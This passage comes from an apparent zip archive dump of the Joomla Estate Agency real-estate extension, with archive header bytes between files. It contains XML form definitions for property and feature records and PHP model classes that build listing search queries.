name="id"
type="text"
label="JGLOBAL_FIELD_ID_LABEL"
description ="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0"
readonly="true"
/>
<field
name="value"
type="text"
label="COM_JEA_FIELD_HEATINGTYPE_LABEL"
size="50"
/>
<field
name="ordering"
type="hidden"
/>
<field
name="language"
type="contentlanguage"
label="JFIELD_LANGUAGE_LABEL"
description="COM_JEA_FIELD_LANGUAGE_DESC"
>
<option value="*">JALL</option>
</field>
</fieldset>
<fields name="filter">
<field
name="language"
type="contentlanguage"
label="JOPTION_FILTER_LANGUAGE"
description="JOPTION_FILTER_LANGUAGE_DESC"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_LANGUAGE</option>
<option value="*">JALL</option>
</field>
</fields>
</form>
PKdx�[M�p!models/forms/features/04-area.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form table="#__jea_areas">
<fieldset name="feature"
addfieldpath="/administrator/components/com_jea/models/fields">
<field
name="id"
type="text"
label="JGLOBAL_FIELD_ID_LABEL"
description ="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0"
readonly="true"
/>
<field
name="value"
type="text"
label="COM_JEA_FIELD_AREA_LABEL"
size="50"
/>
<field
name="town_id"
type="featureList"
subtype="towns"
label="COM_JEA_FIELD_TOWN_LABEL"
class="inputbox"
filter="intval"
/>
<field
name="ordering"
type="hidden"
/>
</fieldset>
<fields name="filter">
<field
name="town_id"
type="featurelist"
noajax="noajax"
subtype="towns"
onchange="this.form.submit();"
/>
</fields>
</form>
PKdx�[Z~Z��&models/forms/features/06-condition.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form table="#__jea_conditions">
<fieldset name="feature">
<field
name="id"
type="text"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0"
readonly="true"
/>
<field
name="value"
type="text"
label="COM_JEA_FIELD_CONDITION_LABEL"
size="50"
/>
<field
name="ordering"
type="hidden"
/>
<field
name="language"
type="contentlanguage"
label="JFIELD_LANGUAGE_LABEL"
description="COM_JEA_FIELD_LANGUAGE_DESC"
>
<option value="*">JALL</option>
</field>
</fieldset>
<fields name="filter">
<field
name="language"
type="contentlanguage"
label="JOPTION_FILTER_LANGUAGE"
description="JOPTION_FILTER_LANGUAGE_DESC"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_LANGUAGE</option>
<option value="*">JALL</option>
</field>
</fields>
</form>
PKdx�[��%%!models/forms/features/03-town.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form table="#__jea_towns">
<fieldset name="feature"
addfieldpath="/administrator/components/com_jea/models/fields">
<field name="id"
type="text"
label="JGLOBAL_FIELD_ID_LABEL"
description ="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0"
readonly="true"
/>
<field
name="value"
type="text"
label="COM_JEA_FIELD_TOWN_LABEL"
size="50"
/>
<field
name="department_id"
type="featureList"
subtype="departments"
label="COM_JEA_FIELD_DEPARTMENT_LABEL"
filter="intval"
/>
<field
name="ordering"
type="hidden"
/>
</fieldset>
<fields name="filter">
<field
name="department_id"
type="featurelist"
noajax="noajax"
subtype="departments"
onchange="this.form.submit();"
/>
</fields>
</form>
PKdx�[�H����'models/forms/features/02-department.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form table="#__jea_departments">
<fieldset name="feature">
<field
name="id"
type="text"
label="JGLOBAL_FIELD_ID_LABEL"
description ="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0"
readonly="true"
/>
<field
name="value"
type="text"
label="COM_JEA_FIELD_DEPARTMENT_LABEL"
size="50"
/>
<field
name="ordering"
type="hidden"
/>
</fieldset>
</form>
PKdx�[���models/forms/export.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form>
<fields
addfieldpath="/administrator/components/com_jea/models/fields">
<field name="id" type="hidden" />
<field name="title" type="text"
label="JGLOBAL_TITLE" description="JFIELD_TITLE_DESC"
class="input-xxlarge input-large-text" size="40"
required="true" />
<field name="published" type="radio"
label="JSTATUS" description="JFIELD_PUBLISHED_DESC"
class="btn-group" filter="intval" size="1"
default="1">
<option value="1">JPUBLISHED</option>
<option value="0">JUNPUBLISHED</option>
</field>
<field name="provider" type="gatewayproviderlist"
label="COM_JEA_GATEWAY_FIELD_PROVIDER_LABEL"
provider_type="export" required="true" />
<field name="type" type="hidden"
default="export" />
</fields>
<fields name="params" />
</form>PKdx�[c���"models/forms/filter_properties.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<form>
<fields name="filter">
<field
name="search"
type="text"
label="JSEARCH_FILTER_LABEL"
hint="COM_JEA_PROPERTIES_SEARCH_FILTER_DESC"
/>
<field
name="transaction_type"
type="list"
label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
onchange="this.form.submit();"
>
<option
value="">COM_JEA_FIELD_TRANSACTION_TYPE_LABEL</option>
<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
</field>
<field
name="type_id"
type="featurelist"
subtype="types"
onchange="this.form.submit();"
/>
<field
name="department_id"
type="featurelist"
noajax="noajax"
subtype="departments"
onchange="this.form.submit();"
/>
<field
name="town_id"
type="featurelist"
noajax="noajax"
subtype="towns"
onchange="this.form.submit();"
/>
<field
name="language"
type="contentlanguage"
label="JOPTION_FILTER_LANGUAGE"
description="JOPTION_FILTER_LANGUAGE_DESC"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_LANGUAGE</option>
<option value="*">JALL</option>
</field>
</fields>
<fields name="list">
<field
name="limit"
type="limitbox"
class="input-mini"
default="25"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
onchange="this.form.submit();"
/>
</fields>
</form>PKdx�[݅��#models/forms/filter_featurelist.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<form>
<fields name="filter">
<field
name="search"
type="text"
label="JSEARCH_FILTER_LABEL"
/>
</fields>
<fields name="list">
<field
name="limit"
type="limitbox"
class="input-mini"
default="25"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
onchange="this.form.submit();"
/>
</fields>
</form>PKdx�[�/�=models/forms/gateway.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form>
<fields
addfieldpath="/administrator/components/com_jea/models/fields">
<field name="id" type="hidden" />
<field name="title" type="text"
label="JGLOBAL_TITLE" description="JFIELD_TITLE_DESC"
class="input-xxlarge input-large-text" size="40"
required="true" />
<field name="published" type="radio"
label="JSTATUS" description="JFIELD_PUBLISHED_DESC"
class="btn-group" filter="intval" size="1"
default="1">
<option value="1">JPUBLISHED</option>
<option value="0">JUNPUBLISHED</option>
</field>
<field name="provider" type="gatewayproviderlist"
label="COM_JEA_GATEWAY_FIELD_PROVIDER_LABEL"
provider_type="" required="true" />
<field name="type" type="hidden" />
</fields>
<fields name="params" />
</form>PKdx�[��L��models/forms/import-jea.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form>
<fieldset name="params">
<field name="jea_version" type="list"
default="1.x" label="COM_JEA_FIELD_JEA_VERSION_LABEL"
description="COM_JEA_FIELD_JEA_VERSION_DESC" >
<option value="1.x">1.x</option>
<option value="2.x">2.x</option>
</field>
<field name="joomla_path" type="text"
default="" label="COM_JEA_FIELD_JOOMLA_PATH_LABEL"
description="COM_JEA_FIELD_JOOMLA_PATH_DESC"
class="inputbox" size="60" />
</fieldset>
</form>
PKdx�[�uC)!!models/forms/property.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form>
<fieldset
addfieldpath="/administrator/components/com_jea/models/fields">
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<field
name="ref"
type="text"
label="COM_JEA_FIELD_REF_LABEL"
description="COM_JEA_FIELD_REF_DESC"
size="10"
/>
<field
name="title"
type="text"
label="JGLOBAL_TITLE"
description="JFIELD_TITLE_DESC"
class="input-xxlarge input-large-text"
size="40"
/>
<field
name="alias"
type="text"
label="JFIELD_ALIAS_LABEL"
description="JFIELD_ALIAS_DESC"
hint="JFIELD_ALIAS_PLACEHOLDER"
size="40"
/>
<field
name="transaction_type"
type="list"
label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
required="true"
>
<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
</field>
<field
name="type_id"
type="featureList"
subtype="types"
label="COM_JEA_FIELD_PROPERTY_TYPE_LABEL"
required="true"
filter="intval"
/>
<field
name="amenities"
type="amenities"
class="amenity"
/>
<field
name="images"
type="gallery"
/>
<field
name="description"
type="editor"
label="JGLOBAL_DESCRIPTION"
filter="JComponentHelper::filterText"
buttons="true"
/>
<field
name="published"
type="list"
label="JSTATUS"
description="JFIELD_PUBLISHED_DESC"
filter="intval"
size="1"
default="1"
class="chzn-color-state"
>
<option value="1">JPUBLISHED</option>
<option value="0">JUNPUBLISHED</option>
</field>
<field
name="access"
type="accesslevel"
label="JFIELD_ACCESS_LABEL"
description="JFIELD_ACCESS_DESC"
size="1"
/>
<field
name="language"
type="contentlanguage"
label="JFIELD_LANGUAGE_LABEL"
description="COM_JEA_FIELD_LANGUAGE_DESC"
>
<option value="*">JALL</option>
</field>
<field
name="featured"
type="radio"
label="JFEATURED"
description="COM_JEA_FIELD_FEATURED_DESC"
class="btn-group btn-group-yesno"
default="0"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="slogan_id"
type="featureList"
subtype="slogans"
label="COM_JEA_FIELD_SLOGAN_LABEL"
filter="intval"
/>
<field
name="rules"
type="rules"
label="JFIELD_RULES_LABEL"
translate_label="false"
filter="rules"
component="com_jea"
section="property"
validate="rules"
/>
<field
name="notes"
type="textarea"
label="COM_JEA_FIELD_NOTES_LABEL"
description="COM_JEA_FIELD_NOTES_DESC"
rows="8"
cols="45"
/>
</fieldset>
<fieldset name="localization">
<field
name="address"
type="text"
label="COM_JEA_FIELD_ADDRESS_LABEL"
size="70"
/>
<field
name="zip_code"
type="text"
label="COM_JEA_FIELD_ZIP_CODE_LABEL"
size="5"
/>
<field
name="department_id"
type="featureList"
subtype="departments"
label="COM_JEA_FIELD_DEPARTMENT_LABEL"
filter="intval"
/>
<field
name="town_id"
type="featureList"
subtype="towns"
label="COM_JEA_FIELD_TOWN_LABEL"
filter="intval"
/>
<field
name="area_id"
type="featureList"
subtype="areas"
label="COM_JEA_FIELD_AREA_LABEL"
filter="intval"
/>
<field
name="latitude"
type="text"
label="COM_JEA_FIELD_LATITUDE_LABEL"
class="numberbox"
size="25"
/>
<field
name="longitude"
type="text"
label="COM_JEA_FIELD_LONGITUDE_LABEL"
class="numberbox"
size="25"
/>
<field
name="geolocalization"
type="geolocalization"
label="COM_JEA_FIELD_GEOLOCALIZATION_LABEL"
/>
</fieldset>
<fieldset name="publication">
<field
name="id"
type="text"
class="readonly"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0"
readonly="true"
/>
<field
name="hits"
type="text"
label="JGLOBAL_HITS"
description="COM_JEA_FIELD_HITS_DESC"
class="readonly"
size="6"
readonly="true"
filter="unset"
/>
<field
name="created"
type="calendar"
label="JGLOBAL_FIELD_CREATED_LABEL"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc"
/>
<field
name="modified"
type="calendar"
label="JGLOBAL_FIELD_MODIFIED_LABEL"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc"
/>
<field
name="publish_up"
type="calendar"
label="COM_JEA_FIELD_PUBLISH_UP_LABEL"
description="COM_JEA_FIELD_PUBLISH_UP_DESC"
format="%Y-%m-%d %H:%M:%S"
size="22"
filter="user_utc"
/>
<field
name="publish_down"
type="calendar"
label="COM_JEA_FIELD_PUBLISH_DOWN_LABEL"
description="COM_JEA_FIELD_PUBLISH_DOWN_DESC"
format="%Y-%m-%d %H:%M:%S"
size="22"
filter="user_utc"
/>
<field
name="created_by"
type="user"
label="JGLOBAL_FIELD_CREATED_BY_LABEL"
description="COM_JEA_FIELD_CREATED_BY_DESC"
/>
</fieldset>
<fieldset name="financial_informations"
addfieldpath="/administrator/components/com_jea/models/fields">
<field
name="price"
type="price"
label="COM_JEA_FIELD_PRICE_LABEL"
class="numberbox"
size="10"
/>
<field
name="rate_frequency"
type="list"
label="COM_JEA_FIELD_RATE_FREQUENCY_LABEL"
>
<option
value="MONTHLY">COM_JEA_OPTION_MONTHLY</option>
<option
value="WEEKLY">COM_JEA_OPTION_WEEKLY</option>
<option
value="DAILY">COM_JEA_OPTION_DAILY</option>
</field>
<field
name="charges"
type="price"
label="COM_JEA_FIELD_CHARGES_LABEL"
class="numberbox"
size="10"
/>
<field
name="fees"
type="price"
label="COM_JEA_FIELD_FEES_LABEL"
class="numberbox"
size="10"
/>
<field
name="deposit"
type="price"
label="COM_JEA_FIELD_DEPOSIT_LABEL"
class="numberbox"
size="10"
/>
</fieldset>
<fieldset name="details"
addfieldpath="/administrator/components/com_jea/models/fields">
<field
name="living_space"
type="surface"
label="COM_JEA_FIELD_LIVING_SPACE_LABEL"
class="numberbox"
filter="floatval"
size="7"
/>
<field
name="land_space"
type="surface"
label="COM_JEA_FIELD_LAND_SPACE_LABEL"
class="numberbox"
filter="floatval"
size="7"
/>
<field
name="availability"
type="calendar"
label="COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL"
size="11"
format="%Y-%m-%d"
filter="user_utc"
/>
<field
name="condition_id"
type="featureList"
subtype="conditions"
label="COM_JEA_FIELD_CONDITION_LABEL"
filter="intval"
/>
<field
name="orientation"
type="list"
label="COM_JEA_FIELD_ORIENTATION_LABEL"
>
<option value="0">JOPTION_DO_NOT_USE</option>
<option value="N">COM_JEA_OPTION_NORTH</option>
<option
value="NW">COM_JEA_OPTION_NORTH_WEST</option>
<option
value="NE">COM_JEA_OPTION_NORTH_EAST</option>
<option
value="NS">COM_JEA_OPTION_NORTH_SOUTH</option>
<option value="E">COM_JEA_OPTION_EAST</option>
<option
value="EW">COM_JEA_OPTION_EAST_WEST</option>
<option value="W">COM_JEA_OPTION_WEST</option>
<option value="S">COM_JEA_OPTION_SOUTH</option>
<option
value="SW">COM_JEA_OPTION_SOUTH_WEST</option>
<option
value="SE">COM_JEA_OPTION_SOUTH_EAST</option>
</field>
<field
name="floor"
type="number"
label="COM_JEA_FIELD_FLOOR_LABEL"
class="numberbox"
filter="floatval"
size="3"
/>
<field
name="floors_number"
type="number"
label="COM_JEA_FIELD_FLOORS_NUMBER_LABEL"
class="numberbox"
filter="floatval"
size="3"
/>
<field
name="rooms"
type="number"
label="COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL"
class="numberbox"
filter="floatval"
size="3"
/>
<field
name="bedrooms"
type="number"
label="COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL"
class="numberbox"
filter="intval"
size="3"
/>
<field
name="bathrooms"
type="number"
label="COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL"
class="numberbox"
filter="floatval"
size="3"
/>
<field
name="toilets"
type="number"
label="COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL"
class="numberbox"
filter="intval"
size="3"
/>
<field
name="hot_water_type"
type="featureList"
subtype="hotwatertypes"
label="COM_JEA_FIELD_HOTWATERTYPE_LABEL"
filter="intval"
/>
<field
name="heating_type"
type="featureList"
subtype="heatingtypes"
label="COM_JEA_FIELD_HEATINGTYPE_LABEL"
filter="intval"
/>
</fieldset>
</form>
PKdx�[�1G��0�0models/properties.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Properties model class.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @see JModelList
*
* @since 2.0
*/
class JeaModelProperties extends JModelList
{
/**
* Model context string.
*
* @var string
*/
protected $context = 'com_jea.properties';
/**
* Filters and their default values used in the query
*
* @var array
*/
protected $filters = array(
'search' => '',
'transaction_type' => '',
'type_id' => 0,
'department_id' => 0,
'town_id' => 0,
'area_id' => 0,
'zip_codes' => '',
'budget_min' => 0,
'budget_max' => 0,
'living_space_min' => 0,
'living_space_max' => 0,
'land_space_min' => 0,
'land_space_max' => 0,
'rooms_min' => 0,
'bedrooms_min' => 0,
'bathrooms_min' => 0,
'floor' => '',
'hotwatertype' => 0,
'heatingtype' => 0,
'condition' => 0,
'orientation' => 0,
'amenities' => array()
);
/**
* Constructor.
*
* @param array $config An optional associative array of configuration
settings.
*
* @see JModelList
*/
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
// This fields concern the ordering
$config['filter_fields'] = array(
'p.id',
'p.price',
'p.created',
'p.ordering',
'p.living_space',
'p.land_space',
'p.hits',
'p.ref',
'type',
'departement',
'town',
'area'
);
}
// Add a context by Itemid
$itemId =
JFactory::getApplication()->input->getInt('Itemid', 0);
if ($itemId > 0)
{
$this->context .= '.menuitem' . $itemId;
}
parent::__construct($config);
}
/**
* Overrides parent method
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
* @see JModelList::populateState()
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication('site');
// Load the parameters.
$params = $app->getParams();
$this->setState('params', $params);
$searchContext = false;
foreach ($this->filters as $name => $defaultValue)
{
$state = $this->getUserStateFromRequest($this->context .
'.filter.' . $name, 'filter_' . $name, $defaultValue,
'none', false);
if (! $searchContext && ! empty($state))
{
/*
This flag indiquate that some filters are set by an user, so the
context is a search.
* It will be usefull in the view to retrieve this flag.
*/
$searchContext = true;
}
else
{
// Get component menuitem parameters
$state2 = $params->get('filter_' . $name, $defaultValue);
if (! empty($state2))
{
$state = $state2;
}
}
// If the state is an array, check if it not contains only a zero value
if (is_array($state) && in_array(0, $state))
{
$key = array_search(0, $state);
unset($state[$key]);
}
$this->setState('filter.' . $name, $state);
}
$this->setState('filter.language',
$app->getLanguageFilter());
$this->setState('searchcontext', $searchContext);
// List state information
$limit = $this->getUserStateFromRequest($this->context .
'.filter.limit', 'limit',
$params->get('list_limit', 10), 'uint');
$this->setState('list.limit', $limit);
$orderCol = $app->getUserStateFromRequest($this->context .
'.ordercol', 'filter_order', $ordering);
if ($orderCol)
{
$this->setState('list.ordering', $orderCol);
}
$orderDirn = $app->getUserStateFromRequest($this->context .
'.orderdirn', 'filter_order_Dir', $direction);
if ($orderDirn)
{
$this->setState('list.direction', $orderDirn);
}
$value = $app->input->get('limitstart', 0,
'uint');
$limitstart = ($limit != 0 ? (floor($value / $limit) * $limit) : 0);
$this->setState('list.start', $limitstart);
}
/**
* Return the model filters
*
* @return array
*/
public function getFilters()
{
return $this->filters;
}
/**
* Overrides parent method
*
* @return JDatabaseQuery A JDatabaseQuery object to retrieve the data
set.
*
* @see JModelList::getListQuery()
*/
protected function getListQuery()
{
$dispatcher = JDispatcher::getInstance();
// Include the jea plugins for the onBeforeSearchQuery event.
JPluginHelper::importPlugin('jea');
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
$query->select('p.*');
$query->from('#__jea_properties AS p');
// Join properties types
$query->select('t.value AS `type`');
$query->join('LEFT', '#__jea_types AS t ON t.id =
p.type_id');
// Join departments
$query->select('d.value AS department');
$query->join('LEFT', '#__jea_departments AS d ON d.id =
p.department_id');
// Join towns
$query->select('town.value AS town');
$query->join('LEFT', '#__jea_towns AS town ON town.id =
p.town_id');
// Join areas
$query->select('area.value AS area');
$query->join('LEFT', '#__jea_areas AS area ON area.id =
p.area_id');
// Join conditions
$query->select('c.value AS `condition`');
$query->join('LEFT', '#__jea_conditions AS c ON c.id =
p.condition_id');
// Join users
$query->select('u.username AS author');
$query->join('LEFT', '#__users AS u ON u.id =
p.created_by');
// Join slogans
$query->select('s.value AS slogan');
$query->join('LEFT', '#__jea_slogans AS s ON s.id =
p.slogan_id');
if ($this->getState('manage') == true)
{
$lang = $this->getUserStateFromRequest($this->context .
'.filter.language', 'filter_language', '');
if ($lang)
{
$query->where('p.language =' .
$db->Quote($db->escape($lang)));
}
$this->setState('filter.language', $lang);
$user = JFactory::getUser();
$canEdit = $user->authorise('core.edit',
'com_jea');
$canEditOwn = $user->authorise('core.edit.own',
'com_jea');
if (!$canEdit && $canEditOwn)
{
// Get only the user properties
$query->where('p.created_by =' . (int) $user->id);
}
if (!$canEditOwn)
{
throw new
\RuntimeException(JText::_('JERROR_ALERTNOAUTHOR'));
}
}
else
{
if ($this->getState('filter.language'))
{
$query->where('p.language in (' .
$db->quote(JFactory::getLanguage()->getTag()) . ',' .
$db->quote('*') . ')');
}
$query->where('p.published=1');
// Filter by access level
$user = JFactory::getUser();
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('p.access IN (' . $groups . ')');
// Filter by start and end dates.
$nullDate = $db->Quote($db->getNullDate());
$nowDate = $db->Quote(JFactory::getDate()->toSql());
$query->where('(p.publish_up = ' . $nullDate . ' OR
p.publish_up <= ' . $nowDate . ')');
$query->where('(p.publish_down = ' . $nullDate . ' OR
p.publish_down >= ' . $nowDate . ')');
}
// Filter by search
if ($value = $this->getState('filter.search'))
{
$value = $db->Quote('%' . $db->escape($value, true) .
'%');
$search = '(p.ref LIKE ' . $value . ' OR p.title LIKE
' . $value . ')';
$query->where($search);
}
// Filter by transaction type
if ($value = $this->getState('filter.transaction_type'))
{
$query->where('p.transaction_type =' .
$db->Quote($db->escape($value)));
}
// Filter by property type
if ($value = $this->getState('filter.type_id'))
{
if (is_array($value))
{
$value = ArrayHelper::toInteger($value);
$query->where('p.type_id IN(' . implode(',',
$value) . ')');
}
else
{
$query->where('p.type_id =' . (int) $value);
}
}
// Filter by departments
if ($value = $this->getState('filter.department_id'))
{
$query->where('p.department_id =' . (int) $value);
}
// Filter by town
if ($value = $this->getState('filter.town_id'))
{
$query->where('p.town_id =' . (int) $value);
}
// Filter by area
if ($value = $this->getState('filter.area_id'))
{
$query->where('p.area_id =' . (int) $value);
}
// Filter by zip codes
if ($value = $this->getState('filter.zip_codes'))
{
$zip_codes = explode(',', $value);
foreach ($zip_codes as &$v)
{
$v = $db->Quote($db->escape(trim($v)));
}
$query->where('p.zip_code IN(' . implode(',',
$zip_codes) . ')');
}
// Filter by budget min
if ($value = $this->getState('filter.budget_min'))
{
$query->where('p.price >=' . (int) $value);
}
// Filter by budget max
if ($value = $this->getState('filter.budget_max'))
{
$query->where('p.price <=' . (int) $value);
}
// Filter by living space min
if ($value = $this->getState('filter.living_space_min'))
{
$query->where('p.living_space >=' . (int) $value);
}
// Filter by living space max
if ($value = $this->getState('filter.living_space_max'))
{
$query->where('p.living_space <=' . (int) $value);
}
// Filter by land space min
if ($value = $this->getState('filter.land_space_min'))
{
$query->where('p.land_space >=' . (int) $value);
}
// Filter by land space max
if ($value = $this->getState('filter.land_space_max'))
{
$query->where('p.land_space <=' . (int) $value);
}
// Filter by rooms min
if ($value = $this->getState('filter.rooms_min'))
{
$query->where('p.rooms >=' . (int) $value);
}
// Filter by bedrooms
if ($value = $this->getState('filter.bedrooms_min'))
{
$query->where('p.bedrooms >=' . (int) $value);
}
// Filter by bathrooms
if ($value = $this->getState('filter.bathrooms_min'))
{
$query->where('p.bathrooms >=' . (int) $value);
}
// Filter by floor
// 0 is a valid value as it corresponds to ground floor
if ($value = $this->getState('filter.floor') !=
'')
{
$query->where('p.floor =' . (int) $value);
}
// Filter by hot water type
if ($value = $this->getState('filter.hotwatertype'))
{
$query->where('p.hot_water_type =' . (int) $value);
}
// Filter by heating type condition
if ($value = $this->getState('filter.heatingtype'))
{
$query->where('p.heating_type =' . (int) $value);
}
// Filter by condition
if ($value = $this->getState('filter.condition'))
{
$query->where('p.condition_id =' . (int) $value);
}
// Filter by orientation
if ($value = $this->getState('filter.orientation'))
{
$query->where('p.orientation =' .
$db->Quote($db->escape($value)));
}
// Filter by amenities
if ($value = $this->getState('filter.amenities'))
{
$amenities = ArrayHelper::toInteger((array) $value);
foreach ($amenities as $id)
{
if ($id > 0)
{
$query->where("p.amenities LIKE '%-{$id}-%'");
}
}
}
// Add the list ordering clause.
$params = $this->state->get('params');
if ($params != null)
{
$orderCol = $this->state->get('list.ordering',
$params->get('orderby', 'p.id'));
$orderDirn = $this->state->get('list.direction',
$params->get('orderby_direction', 'DESC'));
}
else
{
$orderCol = $this->state->get('list.ordering',
'p.id');
$orderDirn = $this->state->get('list.direction',
'DESC');
}
$query->order($db->escape($orderCol . ' ' . $orderDirn));
$dispatcher->trigger('onBeforeSearch', array(&$query,
&$this->state));
return $query;
}
/**
* Retrieve the list of items which can be managed
*
* @return multitype:array|boolean
*/
public function getMyItems()
{
$this->setState('manage', true);
return $this->getItems();
}
/**
* Return the min max values for a column
*
* @param string $fieldName The column name
* @param string $transaction_type Optional transaction type to filter
on
*
* @return integer[]
*/
public function getFieldLimit($fieldName = '', $transaction_type
= '')
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$col = '`' . $db->escape($fieldName) . '`';
$query->select("MIN($col) AS min_value, MAX($col) AS
max_value");
$query->from('#__jea_properties');
if ($transaction_type)
{
$query->where('transaction_type =' .
$db->Quote($db->escape($transaction_type)));
}
$db->setQuery($query);
$row = $db->loadObject();
if (empty($row))
{
return array(0, 0);
}
return array((int) $row->min_value, (int) $row->max_value);
}
}
PKdx�[�-+�
�
models/feature.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Filesystem\Folder;
require_once JPATH_COMPONENT . '/tables/features.php';
/**
* Feature model class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JModelAdmin
*
* @since 2.0
*/
class JeaModelFeature extends JModelAdmin
{
/**
* Overrides parent method
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
*
* @return JForm|boolean A JForm object on success, false on failure
*
* @see JModelForm::getForm()
*/
public function getForm($data = array(), $loadData = true)
{
$feature = $this->getState('feature.name');
$formFile = $this->getState('feature.form');
$form = $this->loadForm('com_jea.feature.' . $feature,
$formFile, array('control' => 'jform',
'load_data' => $loadData));
$form->setFieldAttribute('ordering', 'filter',
'unset');
if (empty($form))
{
return false;
}
return $form;
}
/**
* Overrides parent method.
*
* @return void
*
* @see JModelAdmin::populateState()
*/
public function populateState()
{
/*
* Be careful to not call parent::populateState() because this will cause
an
* infinite call of this method in JeaModelFeature::getTable()
*/
$input = JFactory::getApplication()->input;
$feature = $input->getCmd('feature');
$this->setState('feature.name', $feature);
// Retrieve the feature table params
$xmlPath = JPATH_COMPONENT . '/models/forms/features/';
$xmlFiles = Folder::files($xmlPath);
foreach ($xmlFiles as $filename)
{
$matches = array();
if (preg_match('/^[0-9]{2}-([a-z]*).xml/', $filename,
$matches))
{
if ($feature == $matches[1])
{
$form = simplexml_load_file($xmlPath . '/' . $filename);
$this->setState('feature.table', (string)
$form['table']);
$this->setState('feature.form', $xmlPath . $filename);
}
}
}
// Get the pk of the record from the request.
$pk = $input->getInt('id');
$this->setState($this->getName() . '.id', $pk);
}
/**
* Overrides parent method
*
* @return array The default data is an empty array.
*
* @see JModelForm::loadFormData()
*/
protected function loadFormData()
{
// Check the session for previously entered form data. See
JControllerForm::save()
$data =
JFactory::getApplication()->getUserState('com_jea.edit.feature.data',
array());
if (empty($data))
{
$data = $this->getItem();
}
return $data;
}
/**
* Overrides parent method
*
* @param string $name The table name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $options Configuration array for model. Optional.
*
* @return JTable A JTable object
*
* @see JModel::getTable()
*/
public function getTable($name = '', $prefix =
'Table', $options = array())
{
static $table;
if ($table === null)
{
$tableName = $this->getState('feature.table');
$db = JFactory::getDbo();
$table = new FeaturesFactory($db->escape($tableName), 'id',
$db);
}
return $table;
}
}
PKdx�[�ix��
�
models/features.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Filesystem\Folder;
require JPATH_COMPONENT_ADMINISTRATOR . '/tables/features.php';
/**
* Features model class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JModelLegacy
*
* @since 2.0
*/
class JeaModelFeatures extends JModelLegacy
{
/**
* Get the list of features
*
* @return array of stdClass objects
*/
public function getItems()
{
$xmlPath = JPATH_COMPONENT_ADMINISTRATOR .
'/models/forms/features';
$xmlFiles = Folder::files($xmlPath);
$items = array();
foreach ($xmlFiles as $key => $filename)
{
$matches = array();
if (preg_match('/^[0-9]{2}-([a-z]*).xml/', $filename,
$matches))
{
$form = simplexml_load_file($xmlPath . '/' . $filename);
// Generate object
$feature = new stdClass;
$feature->id = $key;
$feature->name = $matches[1];
$feature->table = (string) $form['table'];
$feature->language = false;
// Check if this feature uses language
$lang =
$form->xpath("//field[@name='language']");
if (! empty($lang))
{
$feature->language = true;
}
$items[$feature->name] = $feature;
}
}
return $items;
}
/**
* Return table data as CSV string
*
* @param string $tableName The name of the feature table
*
* @return string CSV formatted
*/
public function getCSVData($tableName = '')
{
